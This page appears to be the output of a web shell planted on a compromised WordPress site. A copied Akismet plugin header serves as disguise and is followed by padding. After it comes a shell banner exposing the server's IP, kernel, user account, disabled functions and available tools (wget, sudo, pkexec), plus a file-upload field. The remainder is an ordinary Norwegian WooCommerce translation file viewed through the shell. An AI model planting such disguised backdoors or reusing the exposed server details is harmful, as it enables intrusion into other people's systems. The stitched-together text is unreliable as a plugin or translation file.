#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/ |
Upload File : |
# Translation of Plugins - WooCommerce - Stable (latest release) in Norwegian (Bokmål)
# This file is distributed under the same license as the Plugins - WooCommerce - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-12-09 11:30:53+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: nb_NO\n"
"Project-Id-Version: Plugins - WooCommerce - Stable (latest release)\n"
#: src/Internal/Abilities/AbilitiesCategories.php:47
msgid "REST API operations for WooCommerce resources including products, orders, and other store data."
msgstr "REST API-operasjoner for WooCommerce-ressurser, inkludert produkter, ordrer og andre butikkdata."
#: src/Internal/Abilities/AbilitiesCategories.php:46
msgid "WooCommerce REST API"
msgstr "WooCommerce REST API"
#: assets/client/blocks/add-to-cart-with-options-variation-description/block.json
msgctxt "block description"
msgid "Displays the description of the selected variation."
msgstr "Viser beskrivelsen for den valgte varianten."
#: assets/client/blocks/add-to-cart-with-options-variation-description/block.json
msgctxt "block title"
msgid "Variation Description (Beta)"
msgstr "Variantbeskrivelse (Beta)"
#: src/StoreApi/Utilities/CartController.php:1227
msgid "This item is not available for purchase."
msgstr "Dette produktet er ikke tilgjengelig for kjøp."
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:121
msgid "All regions not covered above"
msgstr "Alle regioner som ikke er dekket ovenfor"
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:79
msgid "Shipping method ID (e.g., flat_rate, free_shipping)."
msgstr "Id for leveringsmåten (f.eks. flat_rate, free_shipping)"
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:75
msgid "Whether the shipping method is enabled."
msgstr "Hvorvidt leveringsmåten er aktivert."
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:60
msgid "Shipping methods for this zone."
msgstr "Leveringsmåter for denne sonen."
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:52
msgid "Array of location names for this zone."
msgstr "Rekke med stedsnavn for denne sonen."
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:37
msgid "Unique identifier for the shipping zone."
msgstr "Unik identifikator for leveringssonen."
#: src/RestApi/Routes/V4/Orders/UpdateUtils.php:171
msgid "Invalid line items type."
msgstr "Ugyldig ordrelinjetype."
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:521
msgid "The fulfillment status of the order."
msgstr "Leveringsstatus for ordren."
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:451
msgid "A list of line items (products) within this order."
msgstr "En liste over produktlinjer i denne ordren."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:250
msgid "Product needs shipping."
msgstr "Produktet må leveres fysisk."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:245
msgid "Product is downloadable."
msgstr "Produktet kan lastes ned."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:240
msgid "Product is virtual."
msgstr "Produktet er virtuelt."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:230
msgid "Product global unique ID."
msgstr "Produktets globale unike id."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:220
msgid "Product permalink."
msgstr "Produktets permalenke."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:79
msgid "Item price. Calculated as total / quantity."
msgstr "Produktpris. Beregnes som total delt på antall."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:68
msgid "Product data this item is linked to."
msgstr "Produktdata som dette produktet er tilknyttet."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:63
msgid "Product or variation ID."
msgstr "Id for produkt eller variant."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:57
msgid "Line item image, if available."
msgstr "Bilde for produktlinje, hvis tilgjengelig."
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:52
msgid "Item name."
msgstr "Produktnavn."
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:227
msgid "Limit result set to orders with specific fulfillment statuses."
msgstr "Begrens resultatsettet til ordrer med spesifikke statuser for leveranse."
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:219
msgid "Total value must be an array with exactly 2 numbers for between operators."
msgstr "Totalverdien må være en rekke med nøyaktig 2 tall for mellomoperatorer."
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:208
msgid "The comparison operator to use for total filtering."
msgstr "Sammenligningsoperatoren som skal brukes for filtrering av total."
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:200
msgid "Limit result set to orders with specific total amounts. For between operators, list two values."
msgstr "Begrens resultatsettet til ordrer med bestemte totalbeløp. For mellomoperatorer, oppgi to verdier."
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:78
msgid "If true, the note will be shown to customers. If false, the note will be for admin reference only."
msgstr "Hvis sant, vil notatet vises til kundene. Hvis usant, vil notatet kun være for adminreferanse."
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:46
msgid "Order ID the note belongs to."
msgstr "Ordre-id som notatet tilhører."
#: src/RestApi/Routes/V4/OrderNotes/Controller.php:91
msgid "The order ID that notes belong to."
msgstr "Ordre-id-en som notatene tilhører."
#: src/RestApi/Routes/V4/OrderNotes/CollectionQuery.php:34
msgid "Limit result to customer notes or private notes."
msgstr "Begrens resultatet til kundenotater eller private notater."
#: src/RestApi/Routes/V4/AbstractController.php:295
msgid "Trash not supported."
msgstr "Papirkurv støttes ikke."
#: src/RestApi/Routes/V4/AbstractController.php:294
msgid "Cannot trash resource."
msgstr "Kan ikke flytte ressursen til papirkurven."
#: src/RestApi/Routes/V4/AbstractController.php:293
msgid "Cannot delete resource."
msgstr "Kan ikke slette ressursen."
#: src/RestApi/Routes/V4/AbstractController.php:292
msgid "Cannot create resource."
msgstr "Kan ikke opprette ressurs."
#: src/RestApi/Routes/V4/AbstractController.php:291
msgid "Resource already exists."
msgstr "Ressursen finnes allerede."
#: src/RestApi/Routes/V4/AbstractController.php:234
msgid "Invalid error object provided."
msgstr "Ugyldig feilobjekt oppgitt."
#: src/RestApi/Routes/V4/AbstractController.php:210
#: src/RestApi/Routes/V4/AbstractController.php:307
msgid "An error occurred while processing your request."
msgstr "Det oppstod en feil under behandlingen av forespørselen."
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:157
msgid "The user associated with this API key no longer exists."
msgstr "Brukeren som er knyttet til denne API-nøkkelen eksisterer ikke lenger."
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:135
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:144
msgid "Authentication failed."
msgstr "Autentisering mislyktes."
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:91
msgid "X-MCP-API-Key must be in format consumer_key:consumer_secret"
msgstr "X-MCP-API-Key må være i formatet consumer_key:consumer_secret"
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:83
msgid "X-MCP-API-Key header required. Format: consumer_key:consumer_secret"
msgstr "«X-MCP-API-Key»-hode er påkrevd. Format: consumer_key:consumer_secret"
#: src/Internal/MCP/Transport/WooCommerceRestTransport.php:72
msgid "HTTPS is required for MCP requests."
msgstr "HTTPS er påkrevd for MCP-forespørsler."
#: src/Internal/MCP/MCPAdapterProvider.php:133
msgid "AI-accessible WooCommerce operations via MCP"
msgstr "AI-tilgjengelige WooCommerce-operasjoner via MCP"
#: src/Internal/MCP/MCPAdapterProvider.php:132
msgid "WooCommerce MCP Server"
msgstr "WooCommerce MCP-server"
#: src/Internal/Fulfillments/OrderFulfillmentsRestController.php:954
msgid "Ambiguous shipping providers list."
msgstr "Tvetydig liste over transportører."
#: src/Internal/Features/FeaturesController.php:613
msgid "Configure Permalinks"
msgstr "Konfigurer permalenker"
#: src/Internal/Features/FeaturesController.php:610
msgid "Configuration Required"
msgstr "Konfigurasjon er påkrevd"
#: src/Internal/Features/FeaturesController.php:558
msgid "Clear Customer Sessions When Empty"
msgstr "Fjern kundesesjoner når tomme"
#: src/Internal/Features/FeaturesController.php:549
msgid "WooCommerce MCP"
msgstr "WooCommerce MCP"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:502
msgid "Dummy Downloadable Product"
msgstr "Nedlastbart plassholderprodukt"
#: src/Internal/Abilities/REST/RestAbilityFactory.php:125
#: src/Internal/Abilities/REST/RestAbilityFactory.php:148
msgid "Unique identifier for the resource"
msgstr "Unik identifikator for ressursen"
#: src/Internal/Abilities/AbilitiesRestBridge.php:85
msgid "Create Order"
msgstr "Opprette ordre"
#: src/Internal/Abilities/AbilitiesRestBridge.php:80
msgid "Retrieve detailed information about a single order by ID, including line items, customer details, and payment information."
msgstr "Hent detaljert informasjon om en enkelt ordre etter id, inkludert produktlinjer, kundeopplysninger og betalingsinformasjon."
#: src/Internal/Abilities/AbilitiesRestBridge.php:79
msgid "Get Order"
msgstr "Hent ordre"
#: src/Internal/Abilities/AbilitiesRestBridge.php:74
msgid "Retrieve a paginated list of orders with optional filters for status, customer, date range, and other criteria."
msgstr "Hent en sideinndelt liste over ordrer med valgfrie filtre for status, kunde, datointervall og andre kriterier."
#: src/Internal/Abilities/AbilitiesRestBridge.php:73
msgid "List Orders"
msgstr "Vis ordreliste"
#: src/Internal/Abilities/AbilitiesRestBridge.php:62
msgid "Permanently delete a product from the store. This action cannot be undone."
msgstr "Slett et produkt permanent fra butikken. Denne handlingen kan ikke angres."
#: src/Internal/Abilities/AbilitiesRestBridge.php:61
msgid "Delete Product"
msgstr "Slett produktet"
#: src/Internal/Abilities/AbilitiesRestBridge.php:55
msgid "Update Product"
msgstr "Oppdater produkt"
#: src/Internal/Abilities/AbilitiesRestBridge.php:50
msgid "Create a new product in WooCommerce with name, price, description, and other product attributes."
msgstr "Opprett et nytt produkt i WooCommerce med navn, pris, beskrivelse og andre produktegenskaper."
#: src/Internal/Abilities/AbilitiesRestBridge.php:44
msgid "Retrieve detailed information about a single product by ID, including price, description, images, and metadata."
msgstr "Hent detaljert informasjon om et enkelt produkt med id, inkludert pris, beskrivelse, bilder og metadata."
#: src/Internal/Abilities/AbilitiesRestBridge.php:43
msgid "Get Product"
msgstr "Hent produkt"
#: src/Internal/Abilities/AbilitiesRestBridge.php:38
msgid "Retrieve a paginated list of products with optional filters for status, category, price range, and other attributes."
msgstr "Hent en sidenummerert liste over produkter med valgfrie filter for status, kategori, prisklasse og andre attributter."
#: src/Internal/Abilities/AbilitiesRestBridge.php:37
msgid "List Products"
msgstr "Vis produktliste"
#: src/Blocks/BlockTypes/AddToCartWithOptions/AddToCartWithOptions.php:220
msgid "Please select a valid quantity to add to the cart."
msgstr "Du må velge et gyldig antall å legge til i handlekurven."
#. translators: Alt text for video play button icon.
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-video.php:150
msgid "Play"
msgstr "Spill av"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:324
msgid "Watch on YouTube"
msgstr "Se på YouTube"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:322
msgid "Listen on ReverbNation"
msgstr "Lytt på ReverbNation"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:320
msgid "Listen on Mixcloud"
msgstr "Lytt på Mixcloud"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:318
msgid "Listen on Pocket Casts"
msgstr "Lytt på Pocket Casts"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:316
msgid "Listen on SoundCloud"
msgstr "Lytt på SoundCloud"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:314
msgid "Listen on Spotify"
msgstr "Lytt på Spotify"
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-audio.php:108
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-embed.php:326
msgid "Listen to the audio"
msgstr "Hør på lydklippet"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:677
msgid "Description for the setting field."
msgstr "Beskrivelse for innstillingsfeltet."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:672
msgid "Available options for select/multiselect fields."
msgstr "Tilgjengelige alternativer for valg/multivalg-felt."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:415
msgid "Set your store's address, visibility, currency, language, and timezone."
msgstr "Angi butikkens adresse, synlighet, valuta, språk og tidssone."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:290
msgid "Invalid country code in list."
msgstr "Ugyldig landskode i listen."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:281
msgid "Expected an array of country codes."
msgstr "Forventet en rekke med landskoder."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:269
msgid "Invalid shipping location option."
msgstr "Ugyldig alternativ for leveringssted."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:257
msgid "Invalid selling location option."
msgstr "Ugyldig alternativ for salgssted."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:237
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:245
msgid "Invalid country/state format."
msgstr "Ugyldig format for land/delstat."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:226
msgid "Number of decimals must be between 0 and 10."
msgstr "Antall desimaler må være mellom 0 og 10."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:97
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:603
msgid "Setting field value."
msgstr "Angir feltverdi."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:475
msgid "Setting field description."
msgstr "Angir feltbeskrivelse."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:469
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:666
msgid "Setting field type."
msgstr "Angir felttype."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:402
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:626
msgid "Display order for the group."
msgstr "Visningsrekkefølge for gruppen."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:397
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:621
msgid "Group description."
msgstr "Gruppebeskrivelse."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:392
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:616
msgid "Group title."
msgstr "Gruppetittel."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:389
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:613
msgid "Settings group."
msgstr "Innstillingsgruppe."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:384
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:608
msgid "Collection of setting groups."
msgstr "Samling av innstillingsgrupper."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:360
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:581
msgid "Unique identifier for the settings group."
msgstr "Unik identifikator for innstillingsgruppen."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:340
msgid "This is how your sender name and email address would appear in outgoing emails."
msgstr "Dette er hvordan avsendernavnet og e-postadressen vises i utgående e-post."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:339
msgid "Sender details"
msgstr "Avsenderdetaljer"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:335
msgid "Customize the look and feel of all you notification emails."
msgstr "Tilpass utseendet og følelsen for alle e-postvarslene."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:334
msgid "Email design"
msgstr "E-postutforming"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:319
msgid "\"Reply-to\" Address"
msgstr "«Svar-til»-adresse"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:314
msgid "\"Reply-to\" Name"
msgstr "«Svar-til»-navn"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:310
msgid "Use a different email address for replies."
msgstr "Bruk en annen e-postadresse for svar."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:308
msgid "Add \"Reply-to\" email"
msgstr "Legg til «Svar til»-e-post"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:303
msgid "\"FROM\" Address"
msgstr "Avsenderadresse"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:298
msgid "\"FROM\" Name"
msgstr "Avsendernavn"
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:252
msgid "Please enter a valid reply-to email address."
msgstr "Oppgi en gyldig e-postadresse for «Svar-til»."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:241
msgid "Reply-to name cannot be empty when reply-to is enabled."
msgstr "«Svar-til»-navnet kan ikke være tomt når «Svar-til» er slått på."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:206
msgid "Email sender name cannot be empty."
msgstr "E-postens avsendernavn kan ikke være tomt."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:139
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:142
msgid "Invalid or empty request body."
msgstr "Ugyldig eller tom forespørselskropp."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:95
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:438
msgid "Reply-to email address."
msgstr "E-postadresse for «Svar-til»."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:90
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:433
msgid "Reply-to name."
msgstr "Navn for «Svar-til»."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:85
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:428
msgid "Enable reply-to email address."
msgstr "Slå på svar-til e-postadresse."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:79
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:422
msgid "Email sender address."
msgstr "Avsenderadresse for e-post."
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:74
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-email-settings-v4-controller.php:417
msgid "Email sender name."
msgstr "Navn på avsender av e-post."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:370
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:374
#: src/RestApi/Routes/V4/AbstractController.php:259
#: src/RestApi/Routes/V4/AbstractController.php:263
msgid "Sorry, you cannot update resources."
msgstr "Beklager, du kan ikke oppdatere ressurser."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:201
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:232
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:307
msgid "The entity type must be \"order\"."
msgstr "Enhetstypen må være «ordre»."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:163
msgid "The entity ID is required."
msgstr "Entitets-id er påkrevd."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:131
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:320
msgid "The order ID is required."
msgstr "Ordre-id er påkrevd."
#: includes/rest-api/Controllers/Version4/class-wc-rest-v4-controller.php:52
msgid "Sorry, you are not allowed to perform this action."
msgstr "Beklager, du er ikke lov til å utføre denne handlingen."
#: includes/gateways/paypal/includes/settings-paypal.php:71
msgid "Enable PayPal Buttons"
msgstr "Slå på PayPal-knapper"
#: includes/gateways/paypal/includes/settings-paypal.php:69
#: assets/client/blocks/wc-payment-method-paypal.js:1
msgid "PayPal Buttons"
msgstr "PayPal-knapper"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:808
#: assets/client/blocks/278.js:1
msgid "An unknown error occurred"
msgstr "En ukjent feil oppsto"
#: includes/emails/class-wc-email.php:449
msgid "Order processing"
msgstr "Ordren behandles"
#: includes/admin/settings/class-wc-settings-general.php:257
msgid "Taxes and coupons"
msgstr "Avgifter og rabattkoder"
#: i18n/countries.php:134
msgid "Kosovo"
msgstr "Kosovo"
#: assets/client/blocks/product-filter-status/block.json
msgctxt "block title"
msgid "Status Filter"
msgstr "Statusfilter"
#: assets/client/blocks/product-filter-active/block.json
msgctxt "block title"
msgid "Active Filters"
msgstr "Aktive filtre"
#: assets/client/blocks/product-filter-attribute/block.json
msgctxt "block title"
msgid "Attribute Filter"
msgstr "Attributfilter"
#: assets/client/blocks/product-filter-price/block.json
msgctxt "block title"
msgid "Price Filter"
msgstr "Prisfilter"
#: assets/client/blocks/email-content/block.json
msgctxt "block description"
msgid "A placeholder block for email content."
msgstr "En plassholderblokk for e-postinnhold."
#: assets/client/blocks/email-content/block.json
msgctxt "block title"
msgid "Email Content"
msgstr "E-postinnhold"
#: templates/single-product/photoswipe.php:23
msgid "Full screen image"
msgstr "Fullskjermsbilde"
#: templates/single-product/back-in-stock-form.php:54
msgid "Notify me"
msgstr "Varsle meg"
#: templates/single-product/back-in-stock-form.php:41
msgctxt "back in stock form"
msgid "Enter your e-mail"
msgstr "Fyll inn din e-post"
#: templates/single-product/back-in-stock-form.php:36
msgctxt "back in stock form"
msgid "Email address to be notified when this product is back in stock"
msgstr "E-postadresse for varsling når dette produktet er tilbake på lager"
#: templates/single-product/back-in-stock-form.php:29
msgid "Want to be notified when this product is back in stock?"
msgstr "Vil du bli varslet når dette produktet er tilbake på lager?"
#: templates/emails/customer-stock-notification-verify.php:68
msgid "You have received this message because your e-mail address was used to sign up for stock notifications on our store. Wasn't you? Please get in touch with us if you keep receiving these messages."
msgstr "Du har mottatt denne meldingen fordi e-postadressen din ble brukt til å registrere deg for lagervarsler i butikken vår. Var det ikke du selv? Ta kontakt med oss hvis du fortsetter å motta disse meldingene."
#. translators: %$s placeholder is the verification expiration datetime string.
#: templates/emails/customer-stock-notification-verify.php:60
msgid "This link will remain active for %s."
msgstr "Denne lenken vil være aktiv i %s."
#. translators: %s placeholder is the text part from above.
#: templates/emails/customer-stock-notification-verified.php:69
#: templates/emails/customer-stock-notification.php:74
msgid "To stop receiving these messages, %s to unsubscribe."
msgstr "For å slutte å motta disse meldingene, %s for å avslutte abonnementet."
#. translators: %1$s placeholder is the unsubscribe link, %2$s placeholder is
#. the Unsubscribe text link.
#: templates/emails/customer-stock-notification-verified.php:67
#: templates/emails/customer-stock-notification.php:72
msgctxt "unsubscribe cta for stock notifications for guests"
msgid "click here"
msgstr "trykk her"
#. translators: %s placeholder is the text part from above.
#: templates/emails/customer-stock-notification-verified.php:64
#: templates/emails/customer-stock-notification.php:69
msgid "To manage your notifications, %s to log in to your account."
msgstr "For å administrere varslene dine, %s for å logge på kontoen din."
#. translators: %1$s placeholder is the unsubscribe link, %2$s placeholder is
#. the Unsubscribe text link.
#: templates/emails/customer-stock-notification-verified.php:62
#: templates/emails/customer-stock-notification.php:67
msgctxt "unsubscribe cta for stock notifications for existing customers"
msgid "click here"
msgstr "trykk her"
#: templates/emails/customer-stock-notification-verified.php:58
#: templates/emails/customer-stock-notification.php:63
msgid "You have received this message because your e-mail address was used to sign up for stock notifications on our store."
msgstr "Du har mottatt denne meldingen fordi e-postadressen ble brukt til å registrere for lagervarsler i butikken vår."
#. translators: 1 = URL of the Back in Stock Notifications page
#: src/Internal/StockNotifications/StockSyncController.php:170
msgid "Back-in-stock notifications for this product are now being processed. Subscribed customers will receive these emails over the next few minutes. You can monitor or manage individual subscriptions on the <a href=\"%s\">Stock Notifications page</a>."
msgstr "Varsler om lagerbeholdning for dette produktet blir nå behandlet. Kunder som abonnerer vil motta disse e-postene i løpet av de neste minuttene. Du kan overvåke eller administrere individuelle abonnementer på <a href=\"%s\">Lagervarsel-siden</a>."
#. translators: %d the numeric product ID
#: src/Internal/StockNotifications/Privacy/PrivacyEraser.php:76
msgid "Removed back-in-stock notification for product id: %d"
msgstr "Fjernet «tilbake på lager»-varsel for produkt-id: %d"
#: src/Internal/StockNotifications/Privacy/PrivacyEraser.php:35
msgid "WooCommerce Customer Stock Notifications"
msgstr "Lagervarsler til kunder"
#: src/Internal/StockNotifications/Notification.php:350
msgid "User Email is invalid."
msgstr "Brukerens e-postadresse er ugyldig."
#: src/Internal/StockNotifications/Notification.php:346
